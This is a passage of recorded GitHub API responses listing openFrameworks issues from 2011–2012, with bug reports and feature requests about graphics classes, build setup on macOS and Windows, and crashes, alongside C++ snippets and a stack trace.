\r\n\r\nThis way we get the best of both worlds without broken code ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/821","comments":3,"milestone":null,"number":821,"html_url":"https://github.com/openframeworks/openFrameworks/issues/821","assignee":null,"title":"suggest: ofRectangle internal ofVec","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-26T20:19:31Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2356801,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-01T18:13:35Z","body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","comments":2,"milestone":null,"number":819,"html_url":"https://github.com/openframeworks/openFrameworks/issues/819","assignee":null,"title":"datapath messed in windows after using file open dialog","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-11-22T10:50:13Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2316595,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-02T15:19:58Z","body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","comments":1,"milestone":null,"number":818,"html_url":"https://github.com/openframeworks/openFrameworks/issues/818","assignee":null,"title":"#defines for modules ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-21T16:45:51Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":2306518,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-17T15:17:10Z","body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","comments":3,"milestone":null,"number":815,"html_url":"https://github.com/openframeworks/openFrameworks/issues/815","assignee":null,"title":"Examples in devApps folder do not compile. Missing glew.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-17T13:45:47Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2268829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:30:18Z","body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","comments":2,"milestone":null,"number":814,"html_url":"https://github.com/openframeworks/openFrameworks/issues/814","assignee":null,"title":"Suggest adding some info about Lion to readme.txt","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-17T11:48:32Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2267854,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-16T04:46:48Z","body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","comments":1,"milestone":null,"number":811,"html_url":"https://github.com/openframeworks/openFrameworks/issues/811","assignee":null,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-13T20:49:26Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2223158,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T18:51:38Z","body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","comments":2,"milestone":null,"number":810,"html_url":"https://github.com/openframeworks/openFrameworks/issues/810","assignee":null,"title":"Add flag for mipmapping in ofTexture/ofFbo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-11T07:34:53Z","state":"open","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2206980,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4937'), ('content-length', '49276'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"362300e7c4c0fc8f170b2c345084dfad"'), ('date', 'Tue, 29 May 2012 19:27:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T23:58:48Z","body":"right now it's inside ofMath.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","comments":3,"milestone":null,"number":800,"html_url":"https://github.com/openframeworks/openFrameworks/issues/800","assignee":null,"title":"ofInsidePoly should be a static method of ofPolyline","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-30T04:16:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2089523,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:31:07Z","body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","comments":2,"milestone":null,"number":798,"html_url":"https://github.com/openframeworks/openFrameworks/issues/798","assignee":null,"title":"ofRect isn't quite rectangular","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-10-29T06:38:43Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2086039,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-29T02:37:28Z","body":"we're working on some ideas regarding procedural animation and posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","comments":0,"milestone":null,"number":797,"html_url":"https://github.com/openframeworks/openFrameworks/issues/797","assignee":null,"title":"procedural posing of bones in ofxAssimpModelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-29T02:37:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2085543,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"this fails to display any text:\r\n\r\n\tofBackground(0);\r\n\tofSetColor(255, 254);\r\n\tofDrawBitmapString(\"this text is not displayed\", 10, 20);\r\n\r\nthis is because line 448 of ofBitmapFont.h reads:\r\n\r\n\tglAlphaFunc(GL_EQUAL, 1.0f);\r\n\r\nwhich should be changed to:\r\n\r\n\tglAlphaFunc(GL_GREATER, 0);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/795","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":795,"html_url":"https://github.com/openframeworks/openFrameworks/issues/795","assignee":null,"title":"ofDrawBitmapString does not work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-27T09:50:07Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2066090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-25T23:39:09Z","body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","comments":1,"milestone":null,"number":793,"html_url":"https://github.com/openframeworks/openFrameworks/issues/793","assignee":null,"title":"easyCam -- ability to disable doubleClick reset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-25T23:36:40Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":2051692,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:53:12Z","body":"when drawing certain shapes i get crashes, debugger claims a tessellator issue pointing to \r\n\"if (!tessTesselate(cacheTess, polyWindingMode, TESS_POLYGONS, 3, 3, 0)){\" in \"performTessellation\" function in file ofTessellator.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/789","comments":1,"milestone":null,"number":789,"html_url":"https://github.com/openframeworks/openFrameworks/issues/789","assignee":null,"title":"crashes with tessellator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-21T14:49:12Z","state":"open","user":{"url":"https://api.github.com/users/ruim","gravatar_id":"18875575931764c674b5fc64ae8b7274","login":"ruim","avatar_url":"https://secure.gravatar.com/avatar/18875575931764c674b5fc64ae8b7274?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480525},"id":2016194,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-19T22:39:37Z","body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","comments":0,"milestone":null,"number":787,"html_url":"https://github.com/openframeworks/openFrameworks/issues/787","assignee":null,"title":"half edge mesh structure extension of ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:39:37Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999520,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-04T21:59:22Z","body":"would be quite useful","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","comments":1,"milestone":null,"number":786,"html_url":"https://github.com/openframeworks/openFrameworks/issues/786","assignee":null,"title":"axis aligned bounding box tree for ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:38:35Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999513,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-27T17:58:58Z","body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","comments":2,"milestone":null,"number":785,"html_url":"https://github.com/openframeworks/openFrameworks/issues/785","assignee":null,"title":"ofCamera setOrientation gives odd results","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-19T11:16:42Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1992818,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T11:46:35Z","body":"It seems to be happening pretty far in, if you put debug statements in touchesMoved in EAGL view, you will see that y is set to the x value of the touch.\r\n\r\nThis does not occur in debug mode, or in the simulator, and it has to be done with xcode4. I am running the newest ios5 beta as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/778","comments":2,"milestone":null,"number":778,"html_url":"https://github.com/openframeworks/openFrameworks/issues/778","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"running an iphone retina app in release mode causes touch.x == touch.y","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-18T11:26:26Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":1938472,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-16T18:30:08Z","body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","comments":0,"milestone":null,"number":774,"html_url":"https://github.com/openframeworks/openFrameworks/issues/774","assignee":null,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-16T18:30:08Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1922704,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T15:09:29Z","body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","comments":0,"milestone":null,"number":772,"html_url":"https://github.com/openframeworks/openFrameworks/issues/772","assignee":null,"title":"ofBaseDraws draw(x, y) default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-12T15:08:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1888302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"Greetings,\r\n\r\nI downloaded OF v.007 on my laptop running Vista SP2. I compiled and ran some of the example apps like imageLoader example using VS2010. \r\n\r\nTextures seem to be broken. Images appear as white slabs.\r\n\r\nI tracked it down and found that disabling ArbTex, with ofDisableArbTex(), will get the textures working again. \r\n\r\nUsing ArbTex worked fine in OF v0.62 on the same machine.\r\n\r\nLaptop:\r\nHP Pavilion dv600 Notebook PC\r\nManufacturer: Hewlett-Packard\r\nOperating System: Windows Vista Home Premium, Service Pack 2 (6.0.6002)\r\nPhysical Memory:\t 2037 MB\r\nProcessor: Intel Core2 Duo PU T5250 @ 1.5 GHz, 1.5 GHz\r\n\r\nCompiler:\r\nMicrosoft Visual Studio 2010\r\nInstalled Version: Professional\r\nMicrosoft Visual C++ 2010\r\n\r\nGraphics:\r\nGraphics: Intel Graphics Media Accelerator Driver for Mobile\r\nGraphics: Driver Version: 7.14.10.1244\r\nDirectX Version:\t10.0\r\nOpenGL Version 1.5\r\n\r\nHere's a full report of OpenGL info from GLview:\r\n\r\n\r\nRenderer: Intel 965/963 Graphics Media Accelerator\r\nVendor: Intel\r\nMemory: 448 MB\r\nVersion: 1.5.0 - Build 7.14.10.1244\r\nShading language version: N/A\r\n\r\n\r\nMax texture size: 2048 x 2048\r\nMax texture coordinates: 8\r\nMax vertex texture image units: 0\r\nMax texture image units: 16\r\nMax geometry texture units: 0\r\nMax anisotropic filtering value: 2\r\nMax number of light sources: 16\r\nMax viewport size: 2048 x 2048\r\nMax uniform vertex components: 0\r\nMax uniform 